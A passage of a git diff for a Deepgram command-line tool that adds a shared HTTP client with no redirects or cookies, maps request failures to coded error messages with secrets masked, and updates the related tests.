+                # A project the key can't see (404/403) can still be set,
+                # after a warning; any other failure stops here.
+                if isinstance(e, TransportError) and e.code not in (
+                    "not_found",
+                    "auth_forbidden",
+                ):
+                    raise
                 status_console.print(
                     f"[yellow]Warning:[/yellow] Could not validate project: {e}"
                 )
diff --git a/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py b/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py
index 6e6e539a..67b86260 100644
--- a/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py
+++ b/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py
@@ -71,3 +71,38 @@ def test_list_default_mode_prints_list(self, mock_console, _fmt, command):
         )
 
         assert mock_console.print.called
+
+
+class TestSetDefaultValidation:
+    """--set-default warns and asks when the key can't see the project, as
+    in 0.4.x; any other request failure stops the command."""
+
+    @staticmethod
+    def _run(code):
+        from deepctl_core.transport import TransportError
+
+        command = ProjectsCommand()
+        config = Mock(spec=Config)
+        config.profile = "default"
+        client = Mock()
+        client.get_project.side_effect = TransportError(
+            code, {"path": "/v1/projects/p9", "http_status": 503}, {}
+        )
+        with patch(
+            "deepctl_cmd_projects.command.DeepgramClient", return_value=client
+        ), patch.object(command, "confirm", return_value=False) as confirm:
+            result = command._set_default_project(config, Mock(), "p9")
+        return result, confirm, config
+
+    @pytest.mark.parametrize("code", ["not_found", "auth_forbidden"])
+    def test_unseen_project_warns_and_confirms(self, code):
+        result, confirm, config = self._run(code)
+        confirm.assert_called_once()
+        assert result.status == "cancelled"
+        config.update_profile.assert_not_called()
+
+    def test_other_failures_stop(self):
+        from deepctl_core.transport import TransportError
+
+        with pytest.raises(TransportError):
+            self._run("server_error")
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index c1d696a4..df76e6b7 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -789,6 +789,9 @@ def handle(
                 for chunk in stream:
                     if not chunk:
                         continue
+                    # stdout now carries audio: a later failure is reported
+                    # on stderr only, never as JSON after the audio.
+                    self.stdout_is_protocol = True
                     if eff_encoding == "linear16" and not wrote_header:
                         out.write(
                             _streaming_wav_header(sample_rate=int(eff_sample_rate))
@@ -894,6 +897,9 @@ def handle(
                 # Write to stdout (piping)
                 stdout_buffer = sys.stdout.buffer
                 for chunk in audio_iter:
+                    # stdout now carries audio: a later failure is reported
+                    # on stderr only, never as JSON after the audio.
+                    self.stdout_is_protocol = True
                     stdout_buffer.write(chunk)
                     total_bytes += len(chunk)
                 stdout_buffer.flush()
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index 5261ebcf..03044105 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -579,12 +579,13 @@ def verify_credentials(
             )
 
     def guard(self) -> None:
-        """Guard function to ensure a valid API key is available.
+        """Check that an API key is available, without sending it anywhere.
 
-        Only validates that the API key works. Project ID validation
-        is handled separately by requires_project on BaseCommand.
-        Refuses first, before reading or sending any key, when the base URL
-        isn't trusted with credentials.
+        Refuses first, before reading any key, when the base URL isn't
+        trusted with credentials. The key itself is checked by the command's
+        own request: a 401 or 403 there becomes ``auth_invalid`` or
+        ``auth_forbidden`` (see ``deepctl_core.transport``). Project ID
+        validation is handled separately by requires_project on BaseCommand.
         """
         self.check_base_url()
         api_key = self.get_api_key()
@@ -613,20 +614,6 @@ def guard(self) -> None:
             )
             raise AuthenticationError("DEEPGRAM_API_KEY is not set")
 
-        # Verify the API key is valid (does NOT require project_id)
-        success, message, error_type = self.verify_api_key(api_key)
-        if not success:
-            console.print(f"[red]Error:[/red] {message}")
-
-            if error_type == "auth":
-                console.print(
-                    "[yellow]Your API key may have expired or been "
-                    "revoked.[/yellow]\n"
-                    "[yellow]Run[/yellow] [bold]deepctl login[/bold] "
-                    "[yellow]to re-authenticate.[/yellow]"
-                )
-            raise AuthenticationError(message)
-
     def login_with_api_key(
         self, api_key: str, project_id: str | None = None, _force_write: bool = False
     ) -> None:
diff --git a/packages/deepctl-core/src/deepctl_core/base_command.py b/packages/deepctl-core/src/deepctl_core/base_command.py
index 14830062..182a198d 100644
--- a/packages/deepctl-core/src/deepctl_core/base_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_command.py
@@ -10,9 +10,16 @@
 from .config import Config, flush_config_notices
 from .hosts import CredentialHostError
 from .models import CodedErrorResult, ErrorResult
-from .output import _agentic, print_error, print_error_hint, stderr_console
+from .output import (
+    _agentic,
+    print_error,
+    print_error_hint,
+    print_hint,
+    stderr_console,
+)
 from .output import console as stdout_console
 from .timing import TimingContext
+from .transport import TransportError
 
 # The PAYLOAD console -- stdout, deliberately. Tables, JSON and raw text
 # written by _output_* are the machine-readable result and belong there.
@@ -210,6 +217,10 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
                 stderr_console.print("\n[yellow]Command cancelled by user[/yellow]")
                 raise click.Abort()
 
+            except TransportError as e:
+                self._report_transport_error(e, ctx, config, auth_manager)
+                raise SystemExit(1) from None
+
             except CredentialHostError as e:
                 # Already reported on stderr; nothing was sent.
                 try:
@@ -234,6 +245,31 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
             if exit_code:
                 raise SystemExit(exit_code)
 
+    def _report_transport_error(
+        self,
+        error: TransportError,
+        ctx: click.Context,
+        config: Config,
+        auth_manager: AuthManager,
+    ) -> None:
+        """Two stderr lines, and the coded result on stdout."""
+        from rich.markup import escape
+
+        from . import transport
+
+        command_path = " ".join(ctx.command_path.split()[1:])
+        result = transport.render(
+            error, command_path=command_path, auth_manager=auth_manager
+        )
+        print_error(escape(result.error))
+        print_hint(escape(result.hint))
+        if self.stdout_is_protocol:
+            return
+        try:
+            self.output_result(result, config)
+        except (OSError, ValueError):
+            pass
+
     def pre_auth_check(self, config: Config, **kwargs: Any) -> Any | None:
         """Return a result to stop with before authentication, or ``None``.
 
diff --git a/packages/deepctl-core/src/deepctl_core/client.py b/packages/deepctl-core/src/deepctl_core/client.py
index aeec1f37..19399c33 100644
--- a/packages/deepctl-core/src/deepctl_core/client.py
+++ b/packages/deepctl-core/src/deepctl_core/client.py
@@ -7,6 +7,7 @@
 from typing import TYPE_CHECKING, Any, cast
 from urllib.parse import urlencode
 
+from . import transport
 from .hosts import DEFAULT_BASE_URL
 from .output import stderr_console
 
@@ -91,6 +92,8 @@ def __init__(self, config: Config, auth_manager: AuthManager):
         self._project_id: str | None = None
         # The REST base the SDK client was given (for redirect errors).
         self._rest_base: str = DEFAULT_BASE_URL
+        # Kept out of error text.
+        self._secrets: tuple[str, ...] = ()
 
     @property
     def client(self) -> DGClient:
@@ -124,7 +127,11 @@ def _create_client(self) -> DGClient:
         base_url = self.auth_manager.check_base_url()
 
         try:
-            kwargs: dict[str, Any] = {"api_key": api_key}
+            # One connection pool per process; requests reuse its connection.
+            kwargs: dict[str, Any] = {
+                "api_key": api_key,
+                "httpx_client": transport.shared_client(),
+            }
 
             if base_url and base_url != DEFAULT_BASE_URL:
                 # Derive both the REST and WebSocket endpoints from the
@@ -149,6 +156,7 @@ def _create_client(self) -> DGClient:
 
             client = DGClient(**kwargs)
             self._project_id = project_id
+            self._secrets = (api_key,)
             return client
 
         except Exception as e:
@@ -174,13 +182,15 @@ def _failed(self, what: str, e: Exception) -> Exception:
             )
         return ApiError(body=f"{what}: {e}")
 
-    def _refuse_redirects_in(self, chunks: Iterator[bytes]) -> Iterator[bytes]:
-        """Iterate ``chunks``, turning a 3xx answer into the refusal."""
+    def _mapped(self, chunks: Iterator[bytes]) -> Iterator[bytes]:
+        """Yield ``chunks``; a request failure while reading them is mapped,
+        and a 3xx answer becomes the redirect refusal."""
         from .websocket import RedirectRefused
 
         try:
             yield from chunks
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             refused = self._failed("", e)
             if isinstance(refused, RedirectRefused):
                 raise refused from e
@@ -216,6 +226,7 @@ def transcribe_file(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Transcription failed", e)
 
     def transcribe_url(
@@ -237,6 +248,7 @@ def transcribe_url(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Transcription failed", e)
 
     # ── Text-to-Speech ─────────────────────────────────────────────
@@ -263,9 +275,10 @@ def speak_text(
                 "Iterator[bytes]", self.client.speak.v1.audio.generate(**kwargs)
             )
             # The request runs when the caller starts iterating.
-            return self._refuse_redirects_in(audio)
+            return self._mapped(audio)
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Text-to-speech failed", e)
 
     def speak_text_stream(
@@ -326,6 +339,7 @@ def speak_text_stream(
                     if isinstance(message, bytes):
                         yield message
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Text-to-speech streaming failed", e)
 
     def ws_base_url(self) -> str:
@@ -368,6 +382,7 @@ def analyze_text(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Text analysis failed", e)
 
     # ── Models ─────────────────────────────────────────────────────
@@ -383,6 +398,7 @@ def list_models(self, include_outdated: bool = False) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to list models", e)
 
     def get_model(self, model_id: str) -> dict[str, Any]:
@@ -392,6 +408,7 @@ def get_model(self, model_id: str) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get model", e)
 
     # ── Projects ───────────────────────────────────────────────────
@@ -403,6 +420,7 @@ def get_projects(self) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get projects", e)
 
     def get_project(self, project_id: str | None = None) -> dict[str, Any]:
@@ -413,6 +431,7 @@ def get_project(self, project_id: str | None = None) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get project", e)
 
     def create_project(self, name: str, company: str | None = None) -> dict[str, Any]:
@@ -426,6 +445,7 @@ def create_project(self, name: str, company: str | None = None) -> dict[str, Any
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to create project", e)
 
     # ── Usage ──────────────────────────────────────────────────────
@@ -451,6 +471,7 @@ def get_usage(
             return result
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get usage", e)
 
     # ── API Keys ───────────────────────────────────────────────────
@@ -471,6 +492,7 @@ def list_keys(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to list keys", e)
 
     def create_key(
@@ -502,6 +524,7 @@ def create_key(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to create key", e)
 
     def get_key(self, key_id: str, project_id: str | None = None) -> dict[str, Any]:
@@ -512,6 +535,7 @@ def get_key(self, key_id: str, project_id: str | None = None) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get key", e)
 
     def delete_key(self, key_id: str, project_id: str | None = None) -> dict[str, Any]:
@@ -522,6 +546,7 @@ def delete_key(self, key_id: str, project_id: str | None = None) -> dict[str, An
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to delete key", e)
 
     # ── Requests ───────────────────────────────────────────────────
@@ -560,6 +585,7 @@ def list_requests(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to list requests", e)
 
     def get_request(
@@ -572,6 +598,7 @@ def get_request(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get request", e)
 
     # ── Billing ────────────────────────────────────────────────────
@@ -600,6 +627,7 @@ def get_billing_breakdown(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get billing breakdown", e)
 
     def get_balances(self, project_id: str | None = None) -> dict[str, Any]:
@@ -610,6 +638,7 @@ def get_balances(self, project_id: str | None = None) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to get balances", e)
 
     # ── Members ────────────────────────────────────────────────────
@@ -622,6 +651,7 @@ def list_members(self, project_id: str | None = None) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to list members", e)
 
     def remove_member(
@@ -634,6 +664,7 @@ def remove_member(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to remove member", e)
 
     def list_member_scopes(
@@ -648,6 +679,7 @@ def list_member_scopes(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to list member scopes", e)
 
     def update_member_scopes(
@@ -662,6 +694,7 @@ def update_member_scopes(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to update member scopes", e)
 
     # ── Invites ────────────────────────────────────────────────────
@@ -674,6 +707,7 @@ def list_invites(self, project_id: str | None = None) -> dict[str, Any]:
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to list invites", e)
 
     def create_invite(
@@ -688,6 +722,7 @@ def create_invite(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to create invite", e)
 
     def delete_invite(
@@ -700,6 +735,7 @@ def delete_invite(
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
+            transport.raise_for(e, self._secrets)
             raise self._failed("Failed to delete invite", e)
 
     # ── Utilities ──────────────────────────────────────────────────
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
new file mode 100644
index 00000000..70717dc5
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -0,0 +1,624 @@
+"""One HTTP client per process, and the map from transport failures to codes.
+
+Every REST call the SDK facade makes goes through :func:`shared_client`: one
+``httpx.Client`` (one connection pool) per process, created on first use so
+``--version`` and ``--help`` never import httpx. The client carries no
+credentials and no base URL. The key and the host still come from
+``DeepgramClient``, which takes the base URL from
+:func:`deepctl_core.hosts.check_credential_host` before any request carries
+the key; this module never decides where a credential may go.
+
+:func:`raise_for` turns a failed request into a :class:`TransportError` with a
+catalogue code (``transport_mapping`` in ``error_codes.json``, in
+order): DNS, connect, TLS, reset or a truncated 2xx body ->
+``network_unavailable``; timeout -> ``timeout``; 401 -> ``auth_invalid``;
+403 -> ``auth_forbidden``; 404 -> ``not_found``; 429 -> ``rate_limited``;
+400, 422 and any other 4xx -> ``invalid_argument``; 5xx -> ``server_error``.
+``BaseCommand.execute`` renders it: a coded result on stdout under a machine
+format, and two stderr lines.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import shlex
+import shutil
+import sys
+import threading
+from typing import TYPE_CHECKING, Any
+
+if TYPE_CHECKING:
+    import httpx
+
+    from .auth import AuthManager
+
+# The SDK's own default for a client it builds itself.
+DEFAULT_TIMEOUT_S = 60.0
+
+_lock = threading.Lock()
+_client: httpx.Client | None = None
+# Where the most recent request went, for the error text: method, host and
+# path only (never the query string, which can carry values from argv).
+_last_request: dict[str, str] = {}
+
+
+def _record_request(request: httpx.Request) -> None:
+    _last_request.clear()
+    _last_request.update(
+        method=request.method, host=request.url.host, path=request.url.path
+    )
+
+
+def _install(client: httpx.Client) -> httpx.Client:
+    _no_cookies(client)
+    hooks = client.event_hooks
+    hooks.setdefault("request", [])
+    if _record_request not in hooks["request"]:
+        hooks["request"] = [*hooks["request"], _record_request]
+        client.event_hooks = hooks
+    return client
+
+
+def shared_client() -> httpx.Client:
+    """The process's one ``httpx.Client``, created on first use.
+
+    It follows no redirects: a 3xx could take the key, or a request body,
+    to another host (see ``DeepgramClient._failed``).
+    """
+    global _client
+    with _lock:
+        if _client is None:
+            import httpx
+
+            _client = _install(
+                httpx.Client(timeout=DEFAULT_TIMEOUT_S, follow_redirects=False)
+            )
+        return _client
+
+
+def _no_cookies(client: httpx.Client) -> None:
+    """Keep no cookies: one process can serve several profiles and hosts."""
+    from http.cookiejar import DefaultCookiePolicy
+
+    client.cookies.jar.set_policy(DefaultCookiePolicy(allowed_domains=[]))
+
+
+def _set_client(client: httpx.Client | None) -> None:
+    """Replace the shared client (tests pass one with an ``httpx.MockTransport``)."""
+    global _client
+    with _lock:
+        _client = _install(client) if client is not None else None
+        _last_request.clear()
+
+
+# ── Catalogue text (error_codes.json "strings") ──────────────────────
+
+STRINGS: dict[str, str] = {
+    "E-AUTH-INVALID": "Deepgram rejected the API key (HTTP 401).",
+    "H-AUTH-INVALID": (
+        "The API key may have expired or been revoked. Run {prog} login to log "
+        "in again."
+    ),
+    "A-AUTH-INVALID": (
+        "The API key was rejected. Run {prog} login and give the user the "
+        "verification link and code it prints."
+    ),
+    "A-AUTH-INVALID-ENV": (
+        "The DEEPGRAM_API_KEY in this environment was rejected. next_step starts "
+        "a login whose saved key will take precedence over it; give the user the "
+        "link and code it prints."
+    ),
+    "A-AUTH-INVALID-ENV-NULL": (
+        "The DEEPGRAM_API_KEY in this environment was rejected. Ask the user to "
+        "fix the key, or to run {prog} login --yes in their terminal."
+    ),
+    "C-AUTH-INVALID": (
+        "The API key was rejected. Set a valid DEEPGRAM_API_KEY in this job's "
+        "environment."
+    ),
+    "E-AUTH-FORBIDDEN": ("This API key isn't allowed to make this request (HTTP 403)."),
+    "H-AUTH-FORBIDDEN": (
+        "Use an API key with the needed permissions, or run {prog} login with "
+        "an account that has access."
+    ),
+    "A-AUTH-FORBIDDEN": (
+        "The API key lacks a permission this request needs. Tell the user; "
+        "they can run {prog} login with an account that has access."
+    ),
+    "E-NETWORK": "Couldn't reach {host}: {reason}.",
+    "H-NETWORK": "Check your network connection and proxy settings, then try again.",
+    "A-NETWORK": (
+        "{prog} can't reach Deepgram from this environment. If you run in a "
+        "sandbox, ask the user to allow network access for {prog}."
+    ),
+    "E-NETWORK-CUT": "The connection to {host} dropped before the response finished.",
+    "H-NETWORK-CUT": (
+        "Try again. If it keeps happening, a proxy or firewall may be cutting off "
+        "responses."
+    ),
+    "A-NETWORK-CUT": (
+        "Retry once. If it fails again, tell the user the connection to Deepgram "
+        "keeps dropping."
+    ),
+    "E-NETWORK-UNREADABLE": "Got a response from {host} that {prog} couldn't read.",
+    "H-NETWORK-UNREADABLE": (
+        "A proxy, captive portal or firewall may be answering in Deepgram's "
+        "place. Check that this network lets {prog} reach {host}, then try again."
+    ),
+    "A-NETWORK-UNREADABLE": (
+        "Retry once. If it fails again, tell the user that something on this "
+        "network (a proxy, captive portal or firewall) is answering in "
+        "Deepgram's place."
+    ),
+    "E-TIMEOUT": "{host} didn't respond within {timeout_s} s.",
+    "H-TIMEOUT": "Try again. Large files take longer to upload on slow connections.",
+    "A-TIMEOUT": (
+        "Try again once. If it times out again, tell the user the network is "
+        "slow or blocked."
+    ),
+    "E-RATE-LIMITED": "Deepgram is rate limiting requests (HTTP 429).",
+    "H-RATE-LIMITED": "Wait a moment and try again.",
+    "A-RATE-LIMITED": (
+        "Wait the number of seconds in details.retry_after (or 10 s if absent) "
+        "before retrying."
+    ),
+    "E-NOT-FOUND": "Deepgram returned 404 Not Found for {path}.",
+    "H-NOT-FOUND": "Check the ID, and that it belongs to the selected project.",
+    "A-NOT-FOUND": (
+        "Check the ID. List the available items first instead of guessing IDs."
+    ),
+    "E-INVALID-REQUEST": (
+        "Deepgram rejected the request (HTTP {http_status}): {api_message}"
+    ),
+    "H-INVALID-REQUEST": (
+        "Check the options you passed. Run {prog} {command_path} --help to see "
+        "valid values."
+    ),
+    "A-INVALID-REQUEST": (
+        "Fix the option named in the message and retry. Run {prog} "
+        "{command_path} --help for valid values."
+    ),
+    "E-SERVER": "Deepgram returned an error (HTTP {http_status}).",
+    "H-SERVER": (
+        "Try again in a moment. If it keeps failing, contact Deepgram support "
+        "with the request ID in details."
+    ),
+    "A-SERVER": (
+        "Retry once after a few seconds. If it fails again, tell the user and "
+        "include details.request_id."
+    ),
+}
+
+# code -> (error message ID, human hint, agent hint, automation hint or None)
+Messages = tuple[str, str, str, "str | None"]
+CODES: dict[str, Messages] = {
+    "auth_invalid": (
+        "E-AUTH-INVALID",
+        "H-AUTH-INVALID",
+        "A-AUTH-INVALID",
+        "C-AUTH-INVALID",
+    ),
+    "auth_forbidden": (
+        "E-AUTH-FORBIDDEN",
+        "H-AUTH-FORBIDDEN",
+        "A-AUTH-FORBIDDEN",
+        None,
+    ),
+    "network_unavailable": ("E-NETWORK", "H-NETWORK", "A-NETWORK", None),
+    "timeout": ("E-TIMEOUT", "H-TIMEOUT", "A-TIMEOUT", None),
+    "rate_limited": ("E-RATE-LIMITED", "H-RATE-LIMITED", "A-RATE-LIMITED", None),
+    "not_found": ("E-NOT-FOUND", "H-NOT-FOUND", "A-NOT-FOUND", None),
+    "invalid_argument": (
+        "E-INVALID-REQUEST",
+        "H-INVALID-REQUEST",
+        "A-INVALID-REQUEST",
+        None,
+    ),
+    "server_error": ("E-SERVER", "H-SERVER", "A-SERVER", None),
+}
+
+# network_unavailable's other messages: the response was cut off, or it
+# arrived complete but isn't Deepgram's (a proxy or captive portal page).
+NETWORK_CUT: Messages = ("E-NETWORK-CUT", "H-NETWORK-CUT", "A-NETWORK-CUT", None)
+NETWORK_UNREADABLE: Messages = (
+    "E-NETWORK-UNREADABLE",
+    "H-NETWORK-UNREADABLE",
+    "A-NETWORK-UNREADABLE",
+    None,
+)
+
+# Network failure reasons for E-NETWORK's {reason}.
+REASON_DNS = "name resolution failed"
+REASON_REFUSED = "connection refused"
+REASON_TLS = "TLS handshake failed"
+REASON_RESET = "connection reset"
+REASON_CLOSED = "connection closed"
+REASON_TRUNCATED = "response cut off"
+REASON_UNREADABLE = "unreadable response"
+REASON_PROXY = "the proxy refused the connection"
+REASON_OTHER = "connection failed"
+
+KEY_SOURCE_ENV = "DEEPGRAM_API_KEY (env)"
+KEY_SOURCE_FLAG = "--api-key"
+KEY_SOURCE_KEYRING = "system keyring"
+KEY_SOURCE_FILE = "config file"
+
+
+class TransportError(BaseException):
+    """A request failed at the transport or with an HTTP error status.
+
+    A ``BaseException`` on purpose: command handlers wrap their work in
+    ``except Exception`` and turn anything into a legacy error result. This
+    one has to reach ``BaseCommand.execute``, which prints the coded error.
+    Anything else that catches it should re-raise it.
+    """
+
+    def __init__(
+        self,
+        code: str,
+        values: dict[str, Any],
+        details: dict[str, Any],
+        messages: Messages | None = None,
+    ) -> None:
+        self.code = code
+        self.values = values
+        self.details = details
+        self.messages = messages or CODES[code]
+        super().__init__(self.error)
+
+    @property
+    def error(self) -> str:
+        return STRINGS[self.messages[0]].format(**self.values)
+
+
+# ── Mapping ──────────────────────────────────────────────────────────
+
+_SECRET_URL = re.compile(r"(?i)\b([a-z][a-z0-9+.-]*://)[^/\s@]*@")
+_QUERY = re.compile(r"\?\S*")
+
+
+def _clean(text: object, secrets: tuple[str, ...] = ()) -> str:
+    """Untrusted text for ``error``."""
+    from . import messages
+
+    value = str(text)
+    for secret in secrets:
+        if secret:
+            value = value.replace(secret, "****")
+    value = _SECRET_URL.sub(r"\1", value)
+    value = _QUERY.sub("", value)
+    return messages.display(" ".join(value.split()))
+
+
+def _chain(exc: BaseException) -> list[BaseException]:
+    seen: list[BaseException] = []
+    current: BaseException | None = exc
+    while current is not None and current not in seen:
+        seen.append(current)
+        current = current.__cause__ or current.__context__
+    return seen
+
+
+def _network_reason(exc: BaseException) -> str:
+    import socket
+    import ssl
+
+    import httpx
+
+    chain = _chain(exc)
+    for item in chain:
+        if isinstance(item, socket.gaierror):
+            return REASON_DNS
+        if isinstance(item, ssl.SSLError):
+            return REASON_TLS
+        if isinstance(item, ConnectionRefusedError):
+            return REASON_REFUSED
+        if isinstance(item, ConnectionResetError):
+            return REASON_RESET
+    text = " ".join(str(item) for item in chain).lower()
+    if "name or service not known" in text or "nodename nor servname" in text:
+        return REASON_DNS
+    if "temporary failure in name resolution" in text or "getaddrinfo" in text:
+        return REASON_DNS
+    if "ssl" in text or "certificate" in text or "tls" in text:
+        return REASON_TLS
+    if "connection refused" in text:
+        return REASON_REFUSED
+    if isinstance(exc, httpx.RemoteProtocolError):
+        if "incomplete" in text or "message body" in text:
+            return REASON_TRUNCATED
+        return REASON_CLOSED
+    if isinstance(exc, (httpx.ReadError, httpx.WriteError)) or "reset" in text:
+        return REASON_RESET
+    return REASON_OTHER
+
+
+def _host(exc: BaseException | None = None) -> str:
+    host = None
+    try:
+        host = exc.request.url.host  # type: ignore[union-attr]
+    except (AttributeError, RuntimeError):
+        host = _last_request.get("host")
+    return _clean(host or "the Deepgram API")
+
+
+def _header(headers: object, name: str) -> str | None:
+    if not isinstance(headers, dict):
+        return None
+    for key, value in headers.items():
+        if str(key).lower() == name:
+            return str(value)
+    return None
+
+
+def _api_message(body: object, status: int, secrets: tuple[str, ...]) -> str:
+    text: object = None
+    if isinstance(body, dict):
+        for key in ("err_msg", "message", "error", "detail"):
+            if body.get(key):
+                text = body[key]
+                break
+    elif isinstance(body, str) and body.strip():
+        text = body
+    if text is None:
+        from http import HTTPStatus
+
+        try:
+            text = HTTPStatus(status).phrase
+        except ValueError:
+            text = "no details"
+    return _clean(text, secrets)
+
+
+def map_exception(
+    exc: BaseException, secrets: tuple[str, ...] = ()
+) -> TransportError | None:
+    """The coded error for a failed request, or ``None`` when ``exc`` isn't one."""
+    if isinstance(exc, TransportError):
+        return exc
+    if "httpx" in sys.modules:
+        import httpx
+
+        if isinstance(exc, httpx.TimeoutException):
+            host = _host(exc)
+            return TransportError(
+                "timeout",
+                {"host": host, "timeout_s": _seconds(DEFAULT_TIMEOUT_S)},
+                {"host": host, "timeout_s": _seconds(DEFAULT_TIMEOUT_S)},
+            )
+        if isinstance(exc, httpx.ProxyError):
+            host = _host(exc)
+            return TransportError(
+                "network_unavailable",
+                {"host": host, "reason": REASON_PROXY},
+                {"host": host, "reason": REASON_PROXY},
+            )
+        if isinstance(exc, (httpx.NetworkError, httpx.RemoteProtocolError)):
+            host = _host(exc)
+            reason = _network_reason(exc)
+            cut = reason == REASON_TRUNCATED
+            return TransportError(
+                "network_unavailable",
+                {"host": host, "reason": reason},
+                {"host": host, "reason": reason},
+                NETWORK_CUT if cut else None,
+            )
+
+    status = getattr(exc, "status_code", None)
+    if not isinstance(status, int) or "deepgram" not in sys.modules:
+        return None
+    from deepgram.core.api_error import ApiError
+
+    if not isinstance(exc, ApiError):
+        return None
+    headers = exc.headers
+    if 200 <= status < 300:
+        # The SDK got a complete success response it couldn't parse: most
+        # often not Deepgram's at all (a proxy's or captive portal's page).
+        # A body cut short raises RemoteProtocolError above instead.
+        host = _host()
+        return TransportError(
+            "network_unavailable",
+            {"host": host, "reason": REASON_UNREADABLE, "prog": prog() or "dg"},
+            {"host": host, "reason": REASON_UNREADABLE},
+            NETWORK_UNREADABLE,
+        )
+    if status == 401:
+        return TransportError("auth_invalid", {}, {"http_status": 401})
+    if status == 403:
+        return TransportError("auth_forbidden", {}, {"http_status": 403})
+    if status == 404:
+        path = _clean(_last_request.get("path") or "this request")
+        return TransportError(
+            "not_found", {"path": path}, {"http_status": 404, "path": path}
+        )
+    if status == 429:
+        details: dict[str, Any] = {"http_status": 429}
+        retry_after = _header(headers, "retry-after")
+        if retry_after and retry_after.strip().isdigit():
+            details["retry_after"] = int(retry_after.strip())
+        return TransportError("rate_limited", {}, details)
+    if 400 <= status < 500:
+        return TransportError(
+            "invalid_argument",
+            {
+                "http_status": status,
+                "api_message": _api_message(exc.body, status, secrets),
+            },
+            {"http_status": status},
+        )
+    if 500 <= status < 600:
+        details = {"http_status": status}
+        request_id = _header(headers, "dg-request-id")
+        if request_id:
+            details["request_id"] = _clean(request_id)
+        return TransportError("server_error", {"http_status": status}, details)
+    return None
+
+
+def _seconds(value: float) -> int | float:
+    return int(value) if float(value).is_integer() else value
+
+
+def raise_for(exc: BaseException, secrets: tuple[str, ...] = ()) -> None:
+    """Raise the coded :class:`TransportError` for ``exc``, if it maps to one."""
+    mapped = map_exception(exc, secrets)
+    if mapped is not None and mapped is not exc:
+        raise mapped from exc
+    if mapped is not None:
+        raise mapped
+
+
+# ── Rendering ────────────────────────────────────────────────────────
+
+_PROG_NAMES = ("dg", "deepgram", "deepctl")
+
+
+def prog() -> str | None:
+    """``{prog}``: the running executable, as a command.
+
+    The bare name when ``which(name)`` is this same file; else the console
+    script's absolute path, quoted. ``None`` when neither applies (``python
+    -m``, an unknown launcher), which makes ``next_step`` null.
+    A stable command name replaces the fallback in a later release.
+    """
+    argv0 = sys.argv[0] if sys.argv else ""
+    name = os.path.basename(argv0)
